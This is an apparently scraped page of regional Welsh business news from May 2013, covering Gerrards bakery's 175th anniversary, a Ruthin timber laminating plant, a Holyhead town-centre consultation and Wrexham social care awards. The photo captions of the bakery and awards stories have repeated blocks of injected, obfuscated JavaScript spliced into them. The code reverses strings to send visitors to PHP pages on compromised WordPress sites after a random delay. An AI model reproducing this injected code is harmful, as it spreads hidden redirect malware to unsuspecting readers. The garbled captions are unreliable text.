Category: News

First Minister Carwyn Jones salutes 175 years of baking in Wrexham

GERRARDS 175 YEARS OF BAKING. Pictured is (front L/R) Dawn van Rensburg, Claire Gerrard-Jones, Michael Coxey Managing Direc$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tor of Coxeys and Philip Gerrard-Jones.

First Minister Carwyn Jones has sent his personal congratulations to the oldest family firm of craft bakers in Wales as they celebrate their 175th anniversary.

Wrexham-based Gerrards were founded by Mary Gerrard in 1838 and are still going strong with the sixth generation of the family at the helm.

The First Minister said: “There can be very, very few businesses in the UK with a record like this – it’s  an incredible milestone and all the more amazing that  the firm  has remained in the same family.

“Gerrards is very much an institution in North Wales where it has been serving local communities for decades as well as providing jobs for generations of families and I wish them every success in the future.”

In 2010 they took on six new stores following the demise of the Eccleston’s bakery when the owner David Eccleston retired.

They added shops in Bala, Corwen, Llangollen, Chirk, Gresford and Wrexham to their portfolio taking the number of outlets to 15 across North Wales and the Wirral.

The firm also has a fleet of eight mobile bakery shops that supply offices, factories and business parks in North Wales, Shropshire, Cheshire and the Wirral with freshly baked products.

According to Gerrards, one of the key ingredients in their success has been the expert advice and guidance they’ve had from Chartered Accountants Coxeys, who have offices in Wrexham and Saltney.

Michael Coxey has been their accountant since 1974 and their association with the firm stretches back even longer to the 1920s.

He was a guest of honour at a celebration where he helped cut a 175th birthday cake.

Michael said: “I am delighted to be here today to help celebrate this very special anniversary.

“Gerrards have a long proud tradition as high quality craft bakers and I am glad that we have been able to play a part in their enduring success.”

Philip Gerrard Jones is a fifth generation member of the family who started working in the bakery full-time in 1958 and was in charge for more than 30 years.

He and his wife, Claire, have passed on the baton to the next generation, their daughter Dawn van Rensburg and her husband, Dirk.

Philip paid tribute to the immense contribution made by Coxeys in general and Michael Coxey in particular.

He said: “Michael is not only a trusted expert advisor who has helped guide our business for many years but also a close family friend. Michael has a well-deserved reputation of really caring about his clients.”

According to Philip, the firm might not have come into existence except for a tragedy that befell the family.

Founder Mary Gerrard was a farmer’s daughter who married a printer called James Wimpenny.

She started baking and selling bread in Comberbach, near Northwich, to support the family after her husband went blind. The bakery moved to Wrexham in 1868.

Philip said: “I’m immensely proud of our history as the oldest family owned business in Wrexham and  the oldest family run bakery in Wales.

“Over the years we’ve not been frightened to change if we needed to change but the one constant throughout has been our absolute commitment to quality.

“We have some excellent local suppliers including a first class butcher – and anything we can buy locally, we do.

“We’re looking towards the future with confidence and I am delighted that Dawn and Dirk are now running the company.”

Dawn said the skill and the dedication of the firm’s  114 staff were an important part of their on-going success.

She added: “As a member of the sixth generation of the family, it’s a big thing for me to be involved and it’s a case of making sure that we carry on doing the right thing to keep it going for another I don’t know how many years.

“We’re also going out and finding new business, expanding our already loyal base of wholesale customers and customers are rediscovering the value of buying local and supporting local  companies.

“With programmes like the Great British Bake  Off being shown wall to wall on television, baking is fashionable and it’s nice that it’s gaining recognition that it didn’t have in the past.

“People are starting to think about what they’re going out buying and hopefully with us they’ll recognise that they’re buying something that’s a craft, handmade product.

“We’ve got staff that have been with us a very long time and are very skilled people who we value highly.

“Although we have 15 shops, we don’t think of ourselves as a chain. We think of ourselves as a family business.”

Monday May 20th, 2013

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Welsh timber pioneers flying high

Clifford Jones Timber, Ruthin. Alan Jones, chairman

Wales’s first timber laminating plant has created 10 new jobs at a Denbighshire company – with the help of a high tech glue used in the aircraft industry.

Clifford Jones Timber have invested more than £1 million in the new state of the art equipment at their eco-friendly 13-acre headquarters site in Ruthin.

It gives them the capacity to supply high quality, durable laminated timber for the leisure and construction industries and has increased the workforce at Ruthin to 67.

The project was backed by a Welsh Economic Growth Fund grant of £157,000 from the Welsh Government and means that a process that used to take days is now carried out in minutes.

Company Chairman Alan Jones said: “We were reacting to requests from existing customers, particularly in the leisure sector where we supply timber products for playgrounds and parks.

“They wanted material that was tougher, more durable and more stable – so that it didn’t crack or splinter – and laminated timber provides all those qualities.

“But we also believe that we can find new markets in the construction industry where laminated timber is strong enough to be used for lintels and beams and much more attractive than concrete as well as being much lighter.

“We saw an opportunity and we took advantage of the grant that was available though it meant we had to work fast to produce and application and a business plan in just three weeks but we managed it and were successful.”

Previously Clifford Jones Timber had either made their own laminated timber by gluing together lengths of sawn timber and then clamping them together for three days, or imported it in batches from Finland.

The new equipment can create moulded timber which is then passed through a £260,000 laminator in just six minutes.

The process is powered by a 987 kilowatt biomass boiler which is fed with wood chippings taken from the 100,000 tons of timber which is processed on the Ruthin site every year.

The imported batches of pre-laminated timber took three weeks to arrive and were of various lengths, some of which might be unsuitable for an order, and had to be prepaid.

Alan Jones said: “We are now able to produce laminated timber to order more cheaply and much more quickly than we could before and we believe this will open up new markets for us.

“The glue we use is the same as British Aerospace use for the wings for the Airbus and it produces a product that is four times stronger than a conventional wooden beam.

“For the building industry it also has the advantage of being attractive. People like the feel and the look of wood – it’s a tactile material and of course it’s sustainable and stores carbon.”

Clifford Jones Timber was founded by Alan Jones’s father in 1948 and has been at its Ruthin base for 25 years: “When we started here there were two people employed here and now there are 67,” he said.

“Every piece of timber that comes through these gates is used. There isn’t any wasted and there aren’t many industries that can say that.”

The range of products they supply includes fence posts – they are Britain’s biggest producer of round timber posts – and gates, bedding for horses and even cat litter, and a range of wood fuels from dried logs and wood briquettes to wood pellets for biomass boilers.

They use timber from forests all over the UK and also have a second site at Gretna in Scotland where they employ a further ten staff.

The wood fuel side of the business was launched in 2008 after the construction of a a £5 million 20,000 square foot factory at the Ruthin site on Brickfield Lane and it now produces 30,000 tons of fuel pellets every year.

Managing Director Keith Corbett said: “By its nature much of your output is seasonal with the peak time for fence posts in the spring and early summer and for wood fuel in the winter and we’re looking to the laminated wood products to bridge the gap in the summer with sales to the building industry.”

Saturday May 18th, 2013

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Holyhead urged to have say on future

Consultations for a Holyhead Masterplan Pictured is Cllr J V Owen, Architect Dewi Williams, Alun Roberts, Anglesey Council and Alun Roberts, Mon Communities First.

The people of Holyhead are being urged to play their part in the town centre’s future when a major consultation resumes later this month (May).

A project to create a long term Vision and Masterplan for the future of the town centre has been backed by a number of prominent figures, including businesspeople and local representatives.

Former County Councillor and local businessman J V Owen is a keen advocate of the town centre getting involved in planning its future and he said: “The idea of a long term Vision and Masterplan is great. We have a lot going for us but we need to promote ourselves more.

“Work has now started to bring some of the fine old buildings in the town centre up to scratch and that’s a good idea and it’s the right way forward for the town – a lot of money has been spent but we need to get something back to make a future for Holyhead.

“I am involved with the Townscape Heritage Initiative but even if I wasn’t it’s the right way forward for the town centre – a lot of money has been spent but we need to get something back to make a future for Holyhead.

“We need people to get involved in also thinking about the future direction for the town centre in setting a longer term vision and also considering projects that will assist in delivering the vision.”

“We have cruise liners coming and the railway and ferries but people in the town centre need to rise to the challenge and come forward.”

Local regeneration organisation Mon Communities First has been active in Holyhead, particularly in helping fill empty shops where it’s award-winning scheme is now being used as a blueprint in other areas.

It’s Prosperous Communities Co-ordinator, Alun Roberts, said: “In terms of the Masterplan it’s vital that people have their say.

“This is a pivotal time for the future of all town centres and it’s important that we don’t sit back and do nothing.

“We’re very supportive of the continued efforts to look to future projects because they’re playing a part in the regeneration of the town centre but this is about more than just that – it’s about helping people move onto the ladder.

“Holyhead has problems such as high unemployment and we need to address these and increasing community involvement is integral to coming up with new innovative ideas.

“I would like to have a regular forum where local people can get more involved in future in helping to steer regeneration proposals and seeing the outcomes from their involvement.

“People like to see things happening. It gives them hope for the future and things are happening in Holyhead so it’s about keeping the momentum going.”

Local Chartered Building Surveyor Dewi Williams, of DEWIS, is involved in a number of existing projects in the town centre but he is keen to see Holyhead bounce back into the future as well: “There is now a real opportunity to influence the future regeneration projects”

“But the research needs to come into its own and that includes the consultations with the community and businesses.

“If people take the opportunity to get involved there’s a better chance of a good outcome.”

Wednesday May 15th, 2013

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Wrexham celebrates hat-trick of UK excellence awards for social care

Pendine Park Hillbury Care Home. Health and Social Care Excellence Award. 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if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}top) , Senior Care Practioner, Helen Wynne (greeen dress) Blyths Wood Childcare Services, and James Bowden (blue $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}top) care practioner With AM Lesley Griffiths, David Jones (right) College Principal and Mario Kreft (back) Direc$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tor of Pendine Park Care Homes.

Three learners from Wrexham picked up half the six UK excellence awards given out at a glittering ceremony in London.

Two of the people honoured by the Worshipful Company of Tallow Chandlers were from the Pendine Park care organisation while the third was a learner at Deeside College.

The event at Tallow Chandlers’ magnificent hall was organised in conjunction with the City and Guilds examination body.

Pendine Park Care Practitioners Amanda Dexter and James Bowen both gained Level 2 Diplomas in Health and Social Care for which they studied with the organisation’s in-house training arm, Smartcare Training.

Childminder Helen Wynne, who studied with Deeside College, was also judged to be the overall outstanding prize winner for her dedication.

Helen started Blythswood Childminding Services after her son, Dyfan, was born withan extremely rare condition, complex needs, including physical and learning disabilities, hearing and visual impairments.

The trio’s remarkable achievements were recognised at a special celebration at Pendine Park.

Wrexham AM Lesley Griffiths was extremely proud that learners from her town had clinched 50 per cent of the excellence awards up for grabs in the whole of the UK.

She said: “I am not surprised though because the people involved the sector here take upskilling very seriously.

“It’s brilliant that Wrexham is setting the benchmark for the rest of the UK in terms of quality.”

Deeside College Principal David Jones said: “It’s really good news for Wrexham and has highlighted the outstanding achievements of the people involved in social care in the region.

“The fact that we have won such a high percentage of the awards shows ability of the people working in the sector and the level of commitment of employers and the people involved in training.

“I hope we can use the example of these people as role models and that’s why we need to celebrate their success.”

Mario Kreft was equally proud and added: “The professional and personal development of our staff is a key priority for Pendine Park.

“All three of the successful learners deserved huge congratulations. They are a shining example of what you can achieve.”

Since signing up with Deeside College, Helen Wynne has gone from strength to strength and has completed her Level 5 Children’s Care Learning and Development qualification.

She now supports students on placements and ensures that they receive a variety of experiences, guidance and encouragement to complete their qualifications.

Helen said: “I can’t believe that I have won such a prestigious award for doing a qualification in a subject and career that I love.

“It was an honour to be awarded and acknowledged for my hard work.  I really hope it encourages other learners to pursue further qualifications in their field of work.”

James Bowen, who works at Pendine Park’s Penybryn care home, is no stranger to winning accolades.

Last year he was named the winner of the organisation’s Smile Award for his happy disposition and the difference it makes to the lives of the residents and their families.

He said: “The presentation in London was brilliant and I really enjoyed it. To be granted an award of excellence was something else and I’m delighted to have been chosen.

“The teaching at Smartcare is superb and I am now putting into practice everything I have learned and hopefully that will make me a better all around Care Practitioner.”

Amanda, who works at the Highfield House care home, was also thrilled.

She said: “It was wonderful to receive the award; it certainly made me feel a bit special.”

Tuesday May 14th, 2013

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News

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